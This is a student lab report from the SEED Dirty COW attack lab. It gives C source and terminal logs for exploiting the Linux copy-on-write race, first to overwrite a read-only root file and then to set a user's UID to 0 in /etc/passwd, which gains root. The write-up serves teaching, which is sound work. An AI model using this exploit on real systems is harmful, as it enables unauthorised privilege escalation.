

Dirty Cow Attack Lab

Group 14: Mark Musseau, Raim Aliyev, Vladislav Smirnov

Task 2.1

```
[11/23/2020 12:16] seed@ubuntu:/$ sudo
usage: sudo [-D level] -h | -K | -k | -V
usage: sudo -v [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-u user
name|#uid]
usage: sudo -l[l] [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-U user
name] [-u user name|#uid] [-g groupname|#gid] [command]
usage: sudo [-AbEHknPS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u
user name|#uid] [-g groupname|#gid] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u
user name|#uid] file ...
[11/23/2020 12:17] seed@ubuntu:/$ sudo touch zzz
[sudo] password for seed:
[11/23/2020 12:18] seed@ubuntu:/$ ls
bin      etc      lib      opt      sbin     tmp      vmlinuz.old
boot     home     lost+found  proc     selinux  usr      zzz
cdrom    initrd.img  media    root     srv      var
dev      initrd.img.old  mnt      run      sys      vmlinuz
[11/23/2020 12:18] seed@ubuntu:/$ sudo chmod 644 /zzz
[11/23/2020 12:19] seed@ubuntu:/$ sudo gedit /zzz
[11/23/2020 12:20] seed@ubuntu:/$ sudo gedit /zzz
```

We began by creating the `zzz` file, then changed the file permissions to “644”, giving it write permissions.



We then wrote to the “`zzz`” file the numbers seen above.

```
^C[11/23/2020 12:20] seed@ubuntu:/$ sudo gedit /zzz
[11/23/2020 12:24] seed@ubuntu:/$ ls -l /zzz
-rw-r--r-- 1 root root 19 Nov 23 12:20 /zzz
[11/23/2020 12:24] seed@ubuntu:/$ echo 99999 > /zzz
bash: /zzz: Permission denied
[11/23/2020 12:24] seed@ubuntu:/$
```

Afterward we tried to write to the file but permission was denied.

Task 2.2

```

*cow_attack.c
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
    pthread_t pth1, pth2;
    struct stat st;
    int file_size;

    // Open the target file in the read-only mode.
    int f=open("/zzz", O_RDONLY);

    // Map the file to COW memory using MAP_PRIVATE.
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    // Find the position of the target area
    char *position = strstr(map, "222222");

```

We then added the cow_attack.c file with the main thread to call to the following tasks.

Task 2.3 & 2.4

```

void *writeThread(void *arg)
{
    char *content= "*****";
    off_t offset = (off_t) arg;

    int f=open("/proc/self/mem", O_RDWR);
    while(1) {
        // Move the file pointer to the corresponding position.
        lseek(f, offset, SEEK_SET);
        // Write to the memory.
        write(f, content, strlen(content));
    }
}

void *madviseThread(void *arg)
{
    int file_size = (int) arg;
    madvise(map, file_size, MADV_DONTNEED);
}

```

We then added write and madadvise threads to write to the “zzz” file to change the “222222” portion of the text to “*****” and have the page point back to the original memory.

Task 2.5

```
[11/23/2020 13:06] seed@ubuntu:/$ sudo gedit cow_attack.c
[11/23/2020 13:09] seed@ubuntu:/$ sudo gcc cow_attack.c -lpthread
[11/23/2020 13:09] seed@ubuntu:/$ a.out
^C
```

We then compiled and ran the cow_attack.c file using lpthread and exited approximately 20 seconds later.

```
[11/23/2020 13:12] seed@ubuntu:/$ more zzz
111111*****333333
[11/23/2020 13:12] seed@ubuntu:/$ █
```

We then viewed the file to see that the “222222” had been changed to “*****”.

Task 2

```
[11/24/2020 11:15] seed@ubuntu:~$ sudo adduser charlie
[sudo] password for seed:
Adding user `charlie' ...
Adding new group `charlie' (1002) ...
Adding new user `charlie' (1001) with group `charlie' ...
Creating home directory `/home/charlie' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for charlie
Enter the new value, or press ENTER for the default
    Full Name []: charlie
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] Y
```

We began the second task by creating the account “Charlie”.

```
[11/24/2020 11:21] seed@ubuntu:~$ cat /etc/passwd | grep charlie
charlie:x:1001:1002:charlie,,,:/home/charlie:/bin/bash
```

Then we viewed the permissions on the account to see that it was set to “1001:1002” indicating there were no root privileges.

```

int main(int argc, char *argv[])
{
    pthread_t pth1, pth2;
    struct stat st;
    int file_size;

    // Open the target file in the read-only mode.
    int f=open("/etc/passwd", O_RDONLY);

    // Map the file to COW memory using MAP_PRIVATE.
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    // Find the position of the target area
    char *position = strstr(map, "charlie:x:1001");

    // We have to do the attack using two threads.
    pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
    pthread_create(&pth2, NULL, writeThread, position);

    // Wait for the threads to finish.
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

    return 0;
}

void writeThread(void *arg)
{
    char *content= "charlie:x:0000";
    off_t offset = (off_t) arg;

    int f=open("/proc/self/mem", O_RDWR);
    while(1) {
        // Move the file pointer to the corresponding position.
        lseek(f, offset, SEEK_SET);
        // Write to the memory.
        write(f, content, strlen(content));
    }
}

```

We then changed to cow attack code to reflect a destination to the etc/passwd file then changed the read portion to “1001” and the write to “0000” which will give Charlie root access.

```
[11/24/2020 11:56] seed@ubuntu:/$ sudo gedit cow_attack.c
[11/24/2020 11:58] seed@ubuntu:/$ sudo gcc cow_attack.c -lpthread
[11/24/2020 11:58] seed@ubuntu:/$ a.out
^C
[11/24/2020 11:59] seed@ubuntu:/$ su charlie
Password:
root@ubuntu:/# id
uid=0(root) gid=1002(charlie) groups=0(root),1002(charlie)
```

After compiling and running the modified code we switched over to the Charlie account to see it had gained root access.